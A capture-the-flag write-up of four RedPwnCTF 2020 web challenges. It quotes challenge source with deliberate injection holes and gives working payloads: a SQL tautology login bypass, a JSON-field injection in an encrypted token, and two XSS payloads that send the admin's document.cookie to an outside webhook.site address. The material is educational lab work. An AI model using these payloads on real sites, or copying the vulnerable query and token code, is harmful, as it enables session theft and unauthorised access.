6 minutes
RedPwnCTF 2020
RedPwnCTF 2020 is a beginner to intermediate CTF that’s accessible to high school and college students. The CTF featured a range of easy to harder problems, which provided both a good introduction into CTFs and an opportunity to stretch your pre-established skills. I solved through a good portion of the web problems, and will document a few of the ones here.
Let’s Begin!
The problems are in no way ordered in terms of difficulty.
login
- points: 148
A simple login page - a sign for sql injection attacks. Consider the provided script:
global.__rootdir = __dirname;
const express = require('express');
const bodyParser = require('body-parser');
const cookieParser = require('cookie-parser');
const path = require('path');
const db = require('better-sqlite3')('db.sqlite3');
require('dotenv').config();
const app = express();
app.use(bodyParser.json({ extended: false }));
app.use(cookieParser());
app.post('/api/flag', (req, res) => {
const username = req.body.username;
const password = req.body.password;
if (typeof username !== 'string') {
res.status(400);
res.end();
return;
}
if (typeof password !== 'string') {
res.status(400);
res.end();
return;
}
let result;
try {
result = db.prepare(`SELECT * FROM users
WHERE username = '${username}'
AND password = '${password}';`).get();
} catch (error) {
res.json({ success: false, error: "There was a problem." });
res.end();
return;
}
if (result) {
res.json({ success: true, flag: process.env.FLAG });
res.end();
return;
}
res.json({ success: false, error: "Incorrect username or password." });
});
app.use(express.static(path.join(__dirname, '/public')));
app.listen(process.env.PORT || 3000);
// init database
db.prepare(`CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT,
password TEXT);`).run();
db.prepare(`INSERT INTO
users (username, password)
VALUES ('${process.env.USERNAME}', '${process.env.PASSWORD}');`).run();
In the post request to api/flag, our username and password input are fed directly into the database, which is sqlite-based.
let result;
try {
result = db.prepare(`SELECT * FROM users
WHERE username = '${username}'
AND password = '${password}';`).get();
} catch (error) {
res.json({ success: false, error: "There was a problem." });
res.end();
return;
}
if (result) {
res.json({ success: true, flag: process.env.FLAG });
res.end();
return;
}
Using the following credentials:
username: admin
password: ' OR '1==1
We malform the SQL query in the password field - including a tautology so the statement will return true. The resulting SQL will look like:
SELECT * FROM users
WHERE username = 'admin'
AND password = ' ' OR '1==1';
static-pastebin
- points: 378
The site will take our input, feed it through a clean() function loaded from a script on the client-end, and then paste the “cleaned” text into an HTML div tag known as “paste”.
function display(input) {
document.getElementById('paste').innerHTML = clean(input);
}
function clean(input) {
let brackets = 0;
let result = '';
for (let i = 0; i < input.length; i++) {
const current = input.charAt(i);
if (current == '<') {
brackets ++;
}
if (brackets == 0) {
result += current;
}
if (current == '>') {
brackets --;
}
}
return result
}
Observe that clean() “filters” out potential xss attempts by removing anything within <>
brackets. However, the function does this by consulting a brackets
variable, which is expected to either take 0 or 1. However, the order of the if statements are important - if the first character is >
, then brackets
will remain as 0 through the first and second if-statement checks - specifically on the 2nd check, >
is recorded. When it reaches the third, then brackets
becomes -1. If the 2nd character after >
is <
, the opening angular bracket, the first check changes brackets back to 0 and <
is also recorded. Therefore, <>
will not show in the page, but ><
will. We can use this fact to smuggle our tags through - for every angular bracket, turn it into a ><
pair.
The rest of the problem is a classic reflected xss attack. Using an HTML img
attribute, grab the document cookie and have it sent to your server.
><img
src="http://this.isnt.a/real.site"
onerror="fetch(
'https://webhook.site/31b4faf3-e6e6-44af-9d7d-196e18bcaed4', {
method:'POST',
body: JSON.stringify({data:document.cookie})
}
);"><
Input this, we will get a broken image, but inspecting the page will show that our img
tag has sucessfully been interpreted as HTML. Additionally, we will get a ping on our server once the page loads. Report the URL of the page, and once the admin bot checks, we will get the flag sent to our server.
Panda-Facts
- points: 417
Register and see some pretty anti-panda facts. At the bottom is a secret fact that will bar anyone who isn’t a member. The challenge’s provided script reveals the check:
...
async function generateToken(username) {
const algorithm = 'aes-192-cbc';
const key = Buffer.from(process.env.KEY, 'hex');
// Predictable IV doesn't matter here
const iv = Buffer.alloc(16, 0);
const cipher = crypto.createCipheriv(algorithm, key, iv);
const token = `{"integrity":"${INTEGRITY}","member":0,"username":"${username}"}`
let encrypted = '';
encrypted += cipher.update(token, 'utf8', 'base64');
encrypted += cipher.final('base64');
return encrypted;
}
app.get('/api/flag', async (req, res) => {
if (!req.cookies.token || typeof req.cookies.token !== 'string') {
res.json({success: false, error: 'Invalid token'});
res.end();
return;
}
const result = await decodeToken(req.cookies.token);
if (!result) {
res.json({success: false, error: 'Invalid token'});
res.end();
return;
}
if (!result.member) {
res.json({success: false, error: 'You are not a member'});
res.end();
return;
}
res.json({success: true, flag: process.env.FLAG});
});
...
The member field for us is 0. However, observe that the generateToken() function feeds our username input unsanitized to be used by other functions. If we make our username overwrite the first assignment to the member field, we can bypass the member check.
I inputted this as my username:
jam", "member":1, "ignore":"
This malforms the token
variable into:
const token = `{"integrity":"${INTEGRITY}","member":0,"username":"jam", "member":1, "ignore":""}`
We overwrite the initial member assignment to the value we want.
Clicking on the secret fact presents the flag.
Static-static-hosting
- points: 434
Same idea as the problem “Static-Pastebin”: try and put an xss attack in the site. However, they filter <script>
tags.
function sanitize(element) {
const attributes = element.getAttributeNames();
for (let i = 0; i < attributes.length; i++) {
// Let people add images and styles
if (!['src', 'width', 'height', 'alt', 'class'].includes(attributes[i])) {
element.removeAttribute(attributes[i]);
}
}
const children = element.children;
for (let i = 0; i < children.length; i++) {
if (children[i].nodeName === 'SCRIPT') {
element.removeChild(children[i]);
i --;
} else {
sanitize(children[i]);
}
}
}
Tried to use my <img>
-based payload from before but it didn’t ping my server when I visited it, as I believe it removes the onerror()
function.
However, there still exists different ways to inject an xss payload. As an example, an <iframe>
:
<iframe src="javascript:alert('Hello')"></iframe>
This prompts an alert. <iframe>
elements can be used to smuggle our xss payload.
Use this payload to send a GET request to your server that steals admin cookies:
<iframe src="javascript:document.location='https://webhook.site/31b4faf3-e6e6-44af-9d7d-196e18bcaed4?data='+document.cookie"></iframe>
Report the created page to the admin. Wait for it to ping your server.
Summary
The collection of problems I showcased here were good opportunities to reinforce my websploit skills! They all involved classic forms of attacks which is common to see in most, if not all, CTFs. I will soon discuss the more unique and creative problems I saw in RedPwnCTF 2020!
Jam